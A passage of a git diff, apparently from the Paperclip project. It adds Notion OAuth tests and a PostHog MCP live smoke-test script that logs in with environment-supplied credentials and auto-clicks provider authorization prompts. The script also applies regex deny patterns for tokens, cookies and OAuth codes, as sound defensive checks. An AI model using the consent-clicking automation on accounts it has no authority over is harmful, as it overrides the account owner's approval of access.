(error) => error instanceof NotionGenericLivePreflightError && error.code === "unexpected_registration_source", + ); + } + + const baseUrl = "https://paperclip.example.test"; + const callbackUrl = `${baseUrl}/api/tools/oauth/callback`; + const resource = "https://mcp.notion.com/mcp"; + const url = new URL("https://mcp.notion.com/authorize"); + url.searchParams.set("response_type", "code"); + url.searchParams.set("client_id", `${baseUrl}/api/tools/oauth/client-metadata`); + url.searchParams.set("redirect_uri", callbackUrl); + url.searchParams.set("state", "not-recorded"); + url.searchParams.set("code_challenge", "not-recorded"); + url.searchParams.set("code_challenge_method", "S256"); + url.searchParams.set("resource", resource); + + assert.deepEqual(inspectAuthorizationUrl(url.toString(), { + callbackUrl, + resource, + registrationSource: "cimd", + baseUrl, + }), { + endpoint: { origin: "https://mcp.notion.com", path: "/authorize" }, + parameters: { clientId: true, state: true, pkceS256: true, callbackUri: true, resource: true }, + }); + assert.deepEqual(safeEndpointSummary("https://mcp.notion.com/token", "token"), { + origin: "https://mcp.notion.com", + path: "/token", + }); + assert.throws( + () => safeEndpointSummary("http://mcp.notion.com/token", "token"), + (error) => error instanceof NotionGenericLivePreflightError && error.code === "unsafe_token_endpoint", + ); +}); + +test("authorization proof rejects a provider login page after OAuth parameters were consumed", () => { + assert.throws( + () => inspectAuthorizationUrl("https://id.notion.test/login", { + callbackUrl: "https://paperclip.example/api/tools/oauth/callback", + resource: "https://mcp.notion.com/mcp", + registrationSource: "dcr", + baseUrl: "https://paperclip.example", + }), + (error) => error instanceof NotionGenericLivePreflightError + && error.code === "authorization_parameter_missing", + ); +}); + +test("reconstructs the inline OAuth start from durable connection state and provider navigation", () => { + assert.deepEqual(persistedOAuthStartResult({ + id: "connection-123", + config: { + oauth: { + clientRegistrationSource: "cimd", + issuer: "https://mcp.notion.com", + resource: "https://mcp.notion.com/mcp", + }, + }, + }, " https://mcp.notion.com/authorize?state=not-recorded "), { + connectionId: "connection-123", + authorizationUrl: "https://mcp.notion.com/authorize?state=not-recorded", + registrationSource: "cimd", + issuer: "https://mcp.notion.com", + resource: "https://mcp.notion.com/mcp", + }); + assert.equal(persistedOAuthStartResult({ id: "connection-123", config: {} }, "https://example.test"), null); +}); + +test("accepts zero-count cleanup before setup but requires full revocation after install", () => { + const partial = { + installsRemoved: 0, + appProfileBindingsRemoved: 0, + credentialRefsCleared: 0, + secretsRevoked: 0, + secretBindingsRemoved: 0, + grantsRevoked: 0, + oauthStatesDiscarded: 1, + runtimeSlotsStopped: 0, + appProfile: "absent", + }; + assert.deepEqual(connectionRemovalFacts(partial), { + credentialsRemoved: 0, + secretBindingsRemoved: 0, + grantsRevoked: 0, + accessBindingsRemoved: 0, + installsRemoved: 0, + oauthStatesDiscarded: 1, + runtimeSlotsStopped: 0, + appProfile: "absent", + }); + assert.equal(connectionRemovalFacts(partial, { requireInstalled: true }), null); + assert.ok(connectionRemovalFacts({ + ...partial, + installsRemoved: 1, + appProfileBindingsRemoved: 1, + secretsRevoked: 1, + appProfile: "deleted", + }, { requireInstalled: true })); +}); + +test("workspace proof extraction and fresh-run comments retain only sanitized identity", () => { + const identity = extractNotionIdentity({ + result: { + content: [{ + type: "text", + text: JSON.stringify({ + id: "bot-123", + type: "bot", + bot: { workspace_id: "workspace-123", workspace_name: "Paperclip" }, + token: "discard-me", + }), + }], + }, + }); + assert.deepEqual(identity, { + workspaceId: "workspace-123", + workspaceName: "Paperclip", + botId: "bot-123", + }); + assert.deepEqual( + parseSanitizedAgentProof( + '{"workspaceId":"workspace-123","workspaceName":"Paperclip","invocationId":"inv-123"}', + identity, + ), + { workspaceId: "workspace-123", workspaceName: "Paperclip", invocationId: "inv-123" }, + ); + assert.deepEqual( + parseRuntimeAbsenceProof('{"connectionId":"conn-123","toolPresent":false}', "conn-123"), + { connectionId: "conn-123", toolPresent: false }, + ); +}); + +test("sanitized evidence rejects credential fields, sessions, and OAuth query values", () => { + assert.doesNotThrow(() => assertSanitizedEvidence({ workspaceId: "workspace-123", invocationId: "inv-123" })); + assert.throws(() => assertSanitizedEvidence({ accessToken: "secret" }), /unsafe_evidence_key/); + assert.throws(() => assertSanitizedEvidence({ sessionId: "secret" }), /unsafe_evidence_key/); + assert.throws(() => assertSanitizedEvidence({ note: "callback?code=secret" }), /unsafe_evidence_text/); +}); diff --git a/scripts/smoke/posthog-live-lib.mjs b/scripts/smoke/posthog-live-lib.mjs new file mode 100644 index 0000000000..abda02ebf7 --- /dev/null +++ b/scripts/smoke/posthog-live-lib.mjs @@ -0,0 +1,247 @@ +const REQUIRED_ENVIRONMENT = [ + "INTEGRATIONS_POSTHOG_PAPERCLIP_E2E_EMAIL", + "INTEGRATIONS_POSTHOG_PAPERCLIP_DEV_LOGIN_PASSWORD", + "INTEGRATIONS_POSTHOG_POSTHOG_PROJECT_ID", +]; +const REQUIRED_PROJECT_ID = "483530"; + +export class PosthogLivePreflightError extends Error { + constructor(code, details = {}) { + super(code); + this.name = "PosthogLivePreflightError"; + this.code = code; + this.details = details; + } +} + +function requiredValue(environment, key) { + const value = environment[key]; + return typeof value === "string" ? value.trim() : ""; +} + +export function parsePosthogLiveArguments(args = []) { + if (args.length === 0) return {}; + if (args.length === 1 && !args[0].startsWith("-")) return { baseUrl: args[0] }; + if (args.length === 2 && args[0] === "--base-url" && args[1].trim()) { + return { baseUrl: args[1] }; + } + throw new PosthogLivePreflightError("invalid_arguments"); +} + +export function preflightPosthogLive(environment = process.env, options = {}) { + const missing = REQUIRED_ENVIRONMENT.filter((key) => requiredValue(environment, key) === ""); + if (missing.length > 0) { + throw new PosthogLivePreflightError("missing_environment", { missing }); + } + + const baseUrlValue = typeof options.baseUrl === "string" && options.baseUrl.trim() + ? options.baseUrl.trim() + : requiredValue(environment, "PAPERCLIP_API_URL"); + if (!baseUrlValue) { + throw new PosthogLivePreflightError("missing_base_url"); + } + + let baseUrl; + try { + baseUrl = new URL(baseUrlValue); + } catch { + throw new PosthogLivePreflightError("invalid_base_url"); + } + const loopback = baseUrl.hostname === "127.0.0.1" || baseUrl.hostname === "localhost" || baseUrl.hostname === "[::1]"; + if ((baseUrl.protocol !== "https:" && !(loopback && baseUrl.protocol === "http:")) + || baseUrl.username + || baseUrl.password + || baseUrl.search + || baseUrl.hash) { + throw new PosthogLivePreflightError("unsafe_base_url"); + } + baseUrl.pathname = baseUrl.pathname.replace(/\/+$/, "") || "/"; + + const projectId = requiredValue(environment, "INTEGRATIONS_POSTHOG_POSTHOG_PROJECT_ID"); + if (!/^\d+$/.test(projectId)) { + throw new PosthogLivePreflightError("invalid_project_id"); + } + if (projectId !== REQUIRED_PROJECT_ID) { + throw new PosthogLivePreflightError("unexpected_project_id"); + } + const email = requiredValue(environment, "INTEGRATIONS_POSTHOG_PAPERCLIP_E2E_EMAIL"); + if (!email.includes("@")) { + throw new PosthogLivePreflightError("invalid_email"); + } + + return { + baseUrl: baseUrl.origin, + email, + password: environment.INTEGRATIONS_POSTHOG_PAPERCLIP_DEV_LOGIN_PASSWORD, + projectId, + }; +} + +export async function preparePosthogLiveSmoke({ + environment = process.env, + baseUrl, + fetchImpl = globalThis.fetch, + loadBrowser, +}) { + const config = preflightPosthogLive(environment, { baseUrl }); + let response; + try { + response = await fetchImpl(new URL("/api/health", config.baseUrl), { + headers: { accept: "application/json" }, + signal: AbortSignal.timeout(15_000), + }); + } catch { + throw new PosthogLivePreflightError("health_unreachable"); + } + if (!response.ok) { + throw new PosthogLivePreflightError("health_http_error", { status: response.status }); + } + let body; + try { + body = await response.json(); + } catch { + throw new PosthogLivePreflightError("health_invalid_json"); + } + if (body?.status !== "ok") { + throw new PosthogLivePreflightError("health_not_ok"); + } + return { config, browserModule: await loadBrowser() }; +} + +function projectIdFrom(candidate) { + if (!candidate || typeof candidate !== "object" || Array.isArray(candidate)) return null; + for (const key of ["projectId", "project_id", "projectID", "id"]) { + const value = candidate[key]; + if (typeof value === "string" || typeof value === "number") return String(value); + } + return null; +} + +function projectNameFrom(candidate) { + if (!candidate || typeof candidate !== "object" || Array.isArray(candidate)) return null; + for (const key of ["projectName", "project_name", "name"]) { + const value = candidate[key]; + if (typeof value === "string" && value.trim()) return value.trim(); + } + return null; +} + +function parsedJsonString(value) { + const trimmed = value.trim(); + if (trimmed.length === 0 || trimmed.length > 200_000) return null; + const candidates = [trimmed]; + const fenced = trimmed.match(/^```(?:json)?\s*([\s\S]*?)\s*```$/i); + if (fenced) candidates.unshift(fenced[1]); + for (const candidate of candidates) { + if (!candidate.startsWith("{") && !candidate.startsWith("[")) continue; + try { + return JSON.parse(candidate); + } catch { + // Some MCP servers wrap structured JSON in prose; the regex fallback below + // handles the small project summary without retaining that prose. + } + } + return null; +} + +export function extractProjectSummary(value, expectedProjectId) { + const seen = new Set(); + const visit = (candidate, depth) => { + if (depth > 12 || candidate === null || candidate === undefined) return null; + if (typeof candidate === "string") { + const parsed = parsedJsonString(candidate); + if (parsed !== null) { + const nested = visit(parsed, depth + 1); + if (nested) return nested; + } + if (candidate.length <= 200_000) { + const idMatch = candidate.match(/(?:project[_\s-]*id|\bid\b)["'\s:=]+([0-9]+)/i); + if (idMatch?.[1] === expectedProjectId) { + const nameMatch = candidate.match(/(?:project[_\s-]*name|\bname\b)["'\s:=]+["']?([^"'\n,}\]]+)/i); + return { id: expectedProjectId, name: nameMatch?.[1]?.trim() || null }; + } + } + return null; + } + if (typeof candidate !== "object" || seen.has(candidate)) return null; + seen.add(candidate); + + if (!Array.isArray(candidate)) { + const id = projectIdFrom(candidate); + if (id === expectedProjectId) { + return { id, name: projectNameFrom(candidate) }; + } + } + const children = Array.isArray(candidate) ? candidate : Object.values(candidate); + for (const child of children) { + const found = visit(child, depth + 1); + if (found) return found; + } + return null; + }; + return visit(value, 0); +} + +export function parseSanitizedAgentProof(commentBody, expectedProjectId) { + if (typeof commentBody !== "string") return null; + const trimmed = commentBody.trim(); + const fenced = trimmed.match(/^```(?:json)?\s*([\s\S]*?)\s*```$/i); + let parsed; + try { + parsed = JSON.parse(fenced ? fenced[1] : trimmed); + } catch { + return null; + } + if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) return null; + if (Object.keys(parsed).sort().join(",") !== "invocationId,projectId,projectName") return null; + if (String(parsed.projectId ?? "") !== expectedProjectId) return null; + if (typeof parsed.projectName !== "string" || !parsed.projectName.trim()) return null; + if (typeof parsed.invocationId !== "string" || !parsed.invocationId.trim()) return null; + return { + projectId: expectedProjectId, + projectName: parsed.projectName.trim(), + invocationId: parsed.invocationId.trim(), + }; +} + +const FORBIDDEN_EVIDENCE_KEYS = /(?:password|access[_-]?token|refresh[_-]?token|authorization|cookie|oauth[_-]?code|client[_-]?secret)/i; +const FORBIDDEN_EVIDENCE_TEXT = /(?:authorization:\s*bearer|cookie:|[?&](?:code|state|token|access_token|refresh_token)=)/i; + +export function assertSanitizedEvidence(value) { + const seen = new Set(); + const visit = (candidate, path) => { + if (candidate === null || candidate === undefined) return; + if (typeof candidate === "string") { + if (FORBIDDEN_EVIDENCE_TEXT.test(candidate)) { + throw new Error(`unsafe_evidence_text:${path}`); + } + return; + } + if (typeof candidate !== "object" || seen.has(candidate)) return; + seen.add(candidate); + for (const [key, child] of Object.entries(candidate)) { + if (FORBIDDEN_EVIDENCE_KEYS.test(key)) { + throw new Error(`unsafe_evidence_key:${path}.${key}`); + } + visit(child, `${path}.${key}`); + } + }; + visit(value, "$"); +} + +export function preflightFailureMessage(error) { + if (!(error instanceof PosthogLivePreflightError)) return "PostHog live smoke preflight failed."; + if (error.code === "missing_environment") { + return `PostHog live smoke preflight failed: missing ${error.details.missing.join(", ")}.`; + } + if (error.code === "health_http_error") { + return `PostHog live smoke preflight failed: /api/health returned HTTP ${error.details.status}.`; + } + if (error.code === "missing_base_url") { + return "PostHog live smoke preflight failed: pass the target Paperclip URL or run inside a Paperclip heartbeat."; + } + if (error.code === "invalid_arguments") { + return "PostHog live smoke preflight failed: expected an optional Paperclip URL or --base-url ."; + } + return `PostHog live smoke preflight failed: ${error.code}.`; +} diff --git a/scripts/smoke/posthog-live.mjs b/scripts/smoke/posthog-live.mjs new file mode 100644 index 0000000000..69bb4cd13a --- /dev/null +++ b/scripts/smoke/posthog-live.mjs @@ -0,0 +1,801 @@ +#!/usr/bin/env node + +import { mkdir, writeFile } from "node:fs/promises"; +import path from "node:path"; +import { + assertSanitizedEvidence, + extractProjectSummary, + parsePosthogLiveArguments, + parseSanitizedAgentProof, + PosthogLivePreflightError, + preflightFailureMessage, + preparePosthogLiveSmoke, +} from "./posthog-live-lib.mjs"; + +const TARGET_COMPANY_PREFIX = "PAP"; +const TARGET_AGENT_NAME = "CodexCoderPro"; +const PROJECT_GET = "project-get"; +const PROJECT_SETTINGS_UPDATE = "project-settings-update"; +const EXCLUDED_PROJECT_SWITCHERS = new Set(["switch-project", "switch-organization"]); +const DEFAULT_AGENT_TIMEOUT_MS = 15 * 60_000; + +class SmokeFailure extends Error { + constructor(checkpoint, code) { + super(`${checkpoint}:${code}`); + this.name = "SmokeFailure"; + this.checkpoint = checkpoint; + this.code = code; + } +} + +function fail(checkpoint, code) { + throw new SmokeFailure(checkpoint, code); +} + +function asArray(value, key) { + if (Array.isArray(value)) return value; + if (value && typeof value === "object" && Array.isArray(value[key])) return value[key]; + return []; +} + +function escapeRegex(value) { + return value.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); +} + +function screenshotFile(outputDirectory, name) { + return path.join(outputDirectory, name); +} + +function safeConnectionConfig(connection, expectedProjectId) { + const methodConfig = connection?.config?.methodConfig; + if (!methodConfig || typeof methodConfig !== "object" || Array.isArray(methodConfig)) { + fail("C.connection-detail", "method_config_missing"); + } + if (connection.config?.connectionMethodKey !== "mcp-oauth") { + fail("C.connection-detail", "oauth_method_not_recorded"); + } + if (String(methodConfig.projectId ?? "") !== expectedProjectId) { + fail("C.connection-detail", "wrong_project_pin"); + } + if (methodConfig.readOnly !== false || methodConfig.mode !== "tools") { + fail("C.connection-detail", "unexpected_posthog_scope"); + } + if ((methodConfig.features ?? "") !== "" || (methodConfig.tools ?? "") !== "") { + fail("C.connection-detail", "unexpected_tool_filter"); + } + if (!connection.config?.oauth?.connectedAt) { + fail("B.oauth-callback", "oauth_not_connected"); + } +} + +function assertNoCredentialMaterial(value, secrets, checkpoint) { + const serialized = JSON.stringify(value); + for (const secret of secrets) { + if (secret && serialized.includes(secret)) fail(checkpoint, "credential_material_visible"); + } + if (/[?&](?:code|state|access_token|refresh_token)=/i.test(serialized)) { + fail(checkpoint, "oauth_query_material_visible"); + } + const forbiddenValueKey = /^(?:password|accessToken|access_token|refreshToken|refresh_token|oauthCode|oauth_code|clientSecret|client_secret|cookie|authorizationHeader)$/i; + const visit = (candidate, seen = new Set()) => { + if (!candidate || typeof candidate !== "object" || seen.has(candidate)) return; + seen.add(candidate); + for (const [key, child] of Object.entries(candidate)) { + if (forbiddenValueKey.test(key) && child !== null && child !== "") { + fail(checkpoint, "raw_credential_field_visible"); + } + visit(child, seen); + } + }; + visit(value); +} + +async function apiJson(request, baseUrl, method, pathname, data, checkpoint, expectedStatuses = [200]) { + let response; + try { + response = await request.fetch(new URL(pathname, baseUrl).toString(), { + method, + ...(data === undefined ? {} : { data }), + headers: { accept: "application/json" }, + timeout: 30_000, + }); + } catch { + fail(checkpoint, "request_failed"); + } + if (!expectedStatuses.includes(response.status())) { + fail(checkpoint, `http_${response.status()}`); + } + try { + return await response.json(); + } catch { + fail(checkpoint, "invalid_json"); + } +} + +async function waitFor(checkpoint, fn, { timeoutMs = 120_000, intervalMs = 2_000 } = {}) { + const deadline = Date.now() + timeoutMs; + let lastValue; + while (Date.now() < deadline) { + lastValue = await fn(); + if (lastValue) return lastValue; + await new Promise((resolve) => setTimeout(resolve, intervalMs)); + } + fail(checkpoint, "timed_out"); + return lastValue; +} + +async function expectVisible(locator, checkpoint, code, timeout = 30_000) { + try { + await locator.waitFor({ state: "visible", timeout }); + } catch { + fail(checkpoint, code); + } +} + +async function clickVisibleButton(page, names) { + for (const name of names) { + const button = page.getByRole("button", { name, exact: false }).filter({ visible: true }).first(); + if (await button.count()) { + try { + await button.click({ timeout: 2_000 }); + return true; + } catch { + // Provider pages often replace their form between locator creation and + // click. The next loop re-reads the current DOM. + } + } + } + return false; +} + +async function completePosthogAuthorization(page, config) { + const paperclipOrigin = new URL(config.baseUrl).origin; + const deadline = Date.now() + 4 * 60_000; + while (Date.now() < deadline) { + let current; + try { + current = new URL(page.url()); + } catch { + fail("B.oauth-callback", "invalid_navigation_url"); + } + if (current.origin === paperclipOrigin && current.pathname.includes("/apps/")) return; + + const emailInput = page.locator('input[type="email"], input[name="email"], input[autocomplete="username"]').filter({ visible: true }).first(); + if (await emailInput.count()) { + const currentValue = await emailInput.inputValue().catch(() => ""); + if (!currentValue) await emailInput.fill(config.email); + } + + const passwordInput = page.locator('input[type="password"], input[name="password"], input[autocomplete="current-password"]').filter({ visible: true }).first(); + if (await passwordInput.count()) { + const currentValue = await passwordInput.inputValue().catch(() => ""); + if (!currentValue) await passwordInput.fill(config.password); + await clickVisibleButton(page, [/^sign in$/i, /^log in$/i, /^continue$/i, /sign in with email/i]); + } else if (await emailInput.count()) { + await clickVisibleButton(page, [/^continue$/i, /^next$/i, /continue with email/i, /sign in with email/i]); + } else { + await clickVisibleButton(page, [ + /^authorize$/i, + /^allow$/i, + /^approve$/i, + /^grant access$/i, + /^accept$/i, + /^continue$/i, + /^sign in$/i, + /^log in$/i, + ]); + } + await page.waitForTimeout(500); + } + fail("B.oauth-callback", "provider_authorization_timed_out"); +} + +async function safeScreenshot(page, outputPath, config, checkpoint) { + const current = new URL(page.url()); + if (current.origin !== new URL(config.baseUrl).origin) fail(checkpoint, "screenshot_not_on_paperclip"); + for (const queryKey of ["code", "state", "token", "access_token", "refresh_token"]) { + if (current.searchParams.has(queryKey)) fail(checkpoint, "credential_query_in_screenshot_url"); + } + const bodyText = await page.locator("body").innerText(); + if (bodyText.includes(config.password) || /[?&](?:code|state|access_token|refresh_token)=/i.test(bodyText)) { + fail(checkpoint, "credential_material_in_screenshot"); + } + await page.screenshot({ + path: outputPath, + fullPage: true, + animations: "disabled", + mask: [page.getByText(config.email, { exact: false })], + }); +} + +function catalogFacts(catalog, checkpoint) { + const active = catalog.filter((entry) => entry.status !== "removed"); + const projectGet = active.find((entry) => entry.toolName === PROJECT_GET); + const projectSettings = active.find((entry) => entry.toolName === PROJECT_SETTINGS_UPDATE); + if (!projectGet || !projectGet.isReadOnly) fail(checkpoint, "project_get_missing_or_not_read_only"); + if (!projectSettings || projectSettings.isReadOnly) fail(checkpoint, "project_settings_update_missing_or_not_write"); + for (const excluded of EXCLUDED_PROJECT_SWITCHERS) { + if (active.some((entry) => entry.toolName === excluded)) fail(checkpoint, `excluded_${excluded}_present`); + } + return { active, projectGet, projectSettings }; +} + +async function finishAgentOnlySetup(request, config, companyId, connectionId, catalog, agentId) { + const { active } = catalogFacts(catalog, "C.catalog-policy"); + const enabledCatalogEntryIds = active.filter((entry) => entry.isReadOnly).map((entry) => entry.id); + await apiJson( + request, + config.baseUrl, + "POST", + `/api/companies/${companyId}/tools/apps/${connectionId}/finish`, + { + enabledCatalogEntryIds, + askFirstCatalogEntryIds: [], + reviewedCatalogEntryIds: active.filter((entry) => entry.status === "quarantined").map((entry) => entry.id), + access: { agentIds: [agentId] }, + }, + "C.catalog-policy", + ); + await apiJson( + request, + config.baseUrl, + "PUT", + `/api/tool-connections/${connectionId}/installs`, + { installs: [{ targetType: "agent", targetId: agentId }] }, + "C.agent-install", + ); +} + +async function cleanupConnection(request, config, companyId, connectionId, connectionName) { + const removed = await apiJson( + request, + config.baseUrl, + "DELETE", + `/api/tool-connections/${connectionId}`, + undefined, + "F.cleanup", + ); + const receipt = removed.removal; + if (!receipt + || receipt.installsRemoved < 1 + || receipt.appProfileBindingsRemoved < 1 + || receipt.credentialRefsCleared + receipt.secretsRevoked < 1 + || !["deleted", "archived"].includes(receipt.appProfile)) { + fail("F.cleanup", "incomplete_removal_receipt"); + } + + const connectionsResponse = await apiJson( + request, + config.baseUrl, + "GET", + `/api/companies/${companyId}/tools/connections`, + undefined, + "F.cleanup-verification", + ); + const remaining = asArray(connectionsResponse, "connections").filter( + (connection) => connection.name === connectionName && connection.status !== "archived", + ); + if (remaining.length > 0) fail("F.cleanup-verification", "test_connection_remains"); + + const profilesResponse = await apiJson( + request, + config.baseUrl, + "GET", + `/api/companies/${companyId}/tools/profiles`, + undefined, + "F.cleanup-verification", + ); + if (asArray(profilesResponse, "profiles").some((profile) => profile.profileKey === `app:${connectionId}` && profile.status === "active")) { + fail("F.cleanup-verification", "active_profile_remains"); + } + const pendingResponse = await apiJson( + request, + config.baseUrl, + "GET", + `/api/companies/${companyId}/tools/action-requests?status=pending`, + undefined, + "F.cleanup-verification", + ); + if (asArray(pendingResponse, "actionRequests").some((item) => (item.connectionId ?? item.request?.connectionId) === connectionId)) { + fail("F.cleanup-verification", "pending_action_remains"); + } + return { + credentialsTornDown: receipt.credentialRefsCleared + receipt.secretsRevoked > 0, + accessBindingsRemoved: receipt.appProfileBindingsRemoved, + installsRemoved: receipt.installsRemoved, + appProfile: receipt.appProfile, + pendingActions: 0, + remainingConnections: 0, + }; +} + +async function runSmoke({ config, chromium }) { + const startedAt = new Date(); + const runKey = startedAt.toISOString().replace(/[:.]/g, "-"); + const connectionName = `PostHog live self-test ${startedAt.toISOString()}`; + const outputDirectory = process.env.POSTHOG_EVIDENCE_DIR + ? path.resolve(process.env.POSTHOG_EVIDENCE_DIR) + : path.join(process.env.PAPERCLIP_RUN_SCRATCH_DIR || process.cwd(), `posthog-live-${runKey}`); + await mkdir(outputDirectory, { recursive: true }); + + const summary = { + schemaVersion: 1, + smoke: "posthog_mcp_live", + passed: false, + startedAt: startedAt.toISOString(), + completedAt: null, + target: { companyPrefix: TARGET_COMPANY_PREFIX, projectId: config.projectId }, + connection: null, + catalog: null, + boardTest: null, + freshRun: null, + cleanup: null, + screenshots: [], + failure: null, + }; + + let browser; + let context; + let connectionId = null; + let companyId = null; + let cleanupComplete = false; + let caughtFailure = null; + + try { + browser = await chromium.launch({ headless: process.env.POSTHOG_SMOKE_HEADED !== "1" }); + context = await browser.newContext({ + viewport: { width: 1440, height: 1000 }, + acceptDownloads: false, + serviceWorkers: "block", + }); + const page = await context.newPage(); + + await page.goto(new URL("/auth?next=/", config.baseUrl).toString(), { waitUntil: "domcontentloaded" }); + await expectVisible(page.locator("#email"), "A.paperclip-login", "email_field_missing"); + await page.locator("#email").fill(config.email); + await page.locator("#password").fill(config.password); + const loginResponsePromise = page.waitForResponse((response) => + response.request().method() === "POST" && new URL(response.url()).pathname === "/api/auth/sign-in/email", + ); + await page.getByRole("button", { name: /^sign in$/i }).click(); + const loginResponse = await loginResponsePromise; + if (!loginResponse.ok()) fail("A.paperclip-login", `http_${loginResponse.status()}`); + await page.waitForURL((url) => url.pathname !== "/auth", { timeout: 30_000 }).catch(() => { + fail("A.paperclip-login", "login_redirect_missing"); + }); + + const companiesResponse = await apiJson(context.request, config.baseUrl, "GET", "/api/companies", undefined, "A.company-selection"); + const company = asArray(companiesResponse, "companies").find((candidate) => candidate.issuePrefix === TARGET_COMPANY_PREFIX); + if (!company) fail("A.company-selection", "pap_company_missing"); + companyId = company.id; + + const agentsResponse = await apiJson( + context.request, + config.baseUrl, + "GET", + `/api/companies/${companyId}/agents`, + undefined, + "C.agent-scope", + ); + const agent = asArray(agentsResponse, "agents").find((candidate) => candidate.name === TARGET_AGENT_NAME); + if (!agent) fail("C.agent-scope", "codex_coder_pro_missing"); + + const setupUrl = new URL(`/${TARGET_COMPANY_PREFIX}/apps/connect?byo=1&appKey=posthog&stage=setup`, config.baseUrl); + await page.goto(setupUrl.toString(), { waitUntil: "domcontentloaded" }); + await expectVisible(page.getByRole("heading", { name: "Connect PostHog" }), "A.setup-route", "posthog_setup_missing"); + await expectVisible(page.getByRole("button", { name: "Sign in with PostHog" }), "A.setup-route", "oauth_method_missing"); + await expectVisible(page.getByRole("button", { name: "Use a personal API key" }), "A.setup-route", "api_key_method_missing"); + + await page.getByRole("button", { name: "Sign in with PostHog" }).click(); + const nameInput = page.locator('input[placeholder="My app"]'); + await nameInput.fill(connectionName); + await page.locator('input[placeholder="12345"]').fill(config.projectId); + const readOnlyScope = page.locator("div").filter({ hasText: /^Read-only mode/ }).filter({ has: page.getByRole("switch") }).first(); + const readOnlySwitch = readOnlyScope.getByRole("switch"); + if (await readOnlySwitch.getAttribute("aria-checked") !== "false") fail("B.oauth-setup", "read_only_default_changed"); + await page.getByText("Advanced", { exact: true }).click(); + const featuresInput = page.locator("label", { hasText: "Feature groups" }).locator("..").locator("textarea"); + const toolsInput = page.locator("label", { hasText: "Individual tools" }).locator("..").locator("textarea"); + if (await featuresInput.inputValue() !== "" || await toolsInput.inputValue() !== "") { + fail("B.oauth-setup", "tool_filters_not_blank"); + } + const responseMode = page.locator("label", { hasText: "Tool response mode" }).locator("..").locator("select"); + if (await responseMode.inputValue() !== "tools") fail("B.oauth-setup", "individual_tools_mode_not_selected"); + + const connectResponsePromise = page.waitForResponse((response) => { + const target = new URL(response.url()); + return response.request().method() === "POST" + && target.pathname === `/api/companies/${companyId}/tools/apps/connect`; + }); + await page.getByRole("button", { name: "Continue to sign in" }).click(); + const connectResponse = await connectResponsePromise; + if (!connectResponse.ok()) fail("B.oauth-start", `http_${connectResponse.status()}`); + let connectResult; + try { + connectResult = await connectResponse.json(); + } catch { + fail("B.oauth-start", "invalid_json"); + } + connectionId = connectResult.connectionId; + if (typeof connectionId !== "string" || !connectionId) fail("B.oauth-start", "connection_id_missing"); + + await completePosthogAuthorization(page, config); + const cleanSetupPath = `/${TARGET_COMPANY_PREFIX}/apps/${connectionId}/setup`; + await page.goto(new URL(cleanSetupPath, config.baseUrl).toString(), { waitUntil: "domcontentloaded" }); + await expectVisible(page.getByText("PostHog connected", { exact: true }), "B.oauth-callback", "connected_state_missing", 45_000); + + let connection = await apiJson( + context.request, + config.baseUrl, + "GET", + `/api/tool-connections/${connectionId}`, + undefined, + "C.connection-detail", + ); + safeConnectionConfig(connection, config.projectId); + assertNoCredentialMaterial(connection, [config.password], "C.connection-detail"); + summary.connection = { + id: connectionId, + name: connectionName, + authentication: "oauth", + projectId: config.projectId, + status: connection.status, + healthStatus: connection.healthStatus, + }; + const connectedShot = "01-connected-setup.png"; + await safeScreenshot(page, screenshotFile(outputDirectory, connectedShot), config, "F.connected-screenshot"); + summary.screenshots.push(connectedShot); + + let catalogResponse = await apiJson( + context.request, + config.baseUrl, + "GET", + `/api/tool-connections/${connectionId}/catalog`, + undefined, + "C.catalog-policy", + ); + let catalog = asArray(catalogResponse, "catalog"); + let facts = catalogFacts(catalog, "C.catalog-policy"); + await finishAgentOnlySetup(context.request, config, companyId, connectionId, catalog, agent.id); + + const health = await apiJson( + context.request, + config.baseUrl, + "POST", + `/api/tool-connections/${connectionId}/health-check`, + {}, + "C.health-check", + ); + if (health.connection?.healthStatus !== "healthy") fail("C.health-check", "connection_not_healthy"); + const refreshed = await apiJson( + context.request, + config.baseUrl, + "POST", + `/api/tool-connections/${connectionId}/catalog/refresh`, + {}, + "C.catalog-refresh", + ); + catalog = asArray(refreshed, "catalog"); + facts = catalogFacts(catalog, "C.catalog-refresh"); + await finishAgentOnlySetup(context.request, config, companyId, connectionId, catalog, agent.id); + + connection = await apiJson(context.request, config.baseUrl, "GET", `/api/tool-connections/${connectionId}`, undefined, "C.connection-detail"); + safeConnectionConfig(connection, config.projectId); + if (connection.status !== "active" || connection.healthStatus !== "healthy") { + fail("C.connection-detail", "connection_not_active_and_healthy"); + } + assertNoCredentialMaterial(connection, [config.password], "C.connection-detail"); + summary.connection.status = connection.status; + summary.connection.healthStatus = connection.healthStatus; + + const uniqueConnections = await apiJson( + context.request, + config.baseUrl, + "GET", + `/api/companies/${companyId}/tools/connections`, + undefined, + "C.connection-detail", + ); + if (asArray(uniqueConnections, "connections").filter((candidate) => candidate.name === connectionName).length !== 1) { + fail("C.connection-detail", "duplicate_connection_detected"); + } + + const installs = await apiJson( + context.request, + config.baseUrl, + "GET", + `/api/tool-connections/${connectionId}/installs`, + undefined, + "C.agent-install", + ); + const installRows = asArray(installs, "installs"); + if (installRows.length !== 1 || installRows[0].targetType !== "agent" || installRows[0].targetId !== agent.id) { + fail("C.agent-install", "install_not_agent_only"); + } + + const testAgents = await apiJson( + context.request, + config.baseUrl, + "GET", + `/api/tool-connections/${connectionId}/test-agents`, + undefined, + "C.effective-policy", + ); + const testAgent = asArray(testAgents, "agents").find((candidate) => candidate.id === agent.id); + const projectGetAccess = testAgent?.effectiveAccess?.tools?.find((tool) => tool.toolName === PROJECT_GET); + const projectSettingsAccess = testAgent?.effectiveAccess?.tools?.find((tool) => tool.toolName === PROJECT_SETTINGS_UPDATE); + if (projectGetAccess?.decision !== "allowed" || projectSettingsAccess?.decision !== "off") { + fail("C.effective-policy", "unexpected_effective_decision"); + } + summary.catalog = { + discoveredCount: refreshed.discoveredCount, + projectGet: { catalogEntryId: facts.projectGet.id, toolName: PROJECT_GET, decision: "allowed" }, + projectSettingsUpdate: { catalogEntryId: facts.projectSettings.id, toolName: PROJECT_SETTINGS_UPDATE, decision: "off" }, + excludedToolsAbsent: [...EXCLUDED_PROJECT_SWITCHERS], + accessAgentId: agent.id, + installAgentId: agent.id, + healthCheck: "healthy", + catalogRefresh: "succeeded", + }; + + await page.goto(new URL(`/${TARGET_COMPANY_PREFIX}/apps/${connectionId}/permissions`, config.baseUrl).toString(), { waitUntil: "domcontentloaded" }); + await expectVisible(page.getByText("Who can use it", { exact: true }), "C.permissions-ui", "permissions_panel_missing"); + const projectGetPermission = 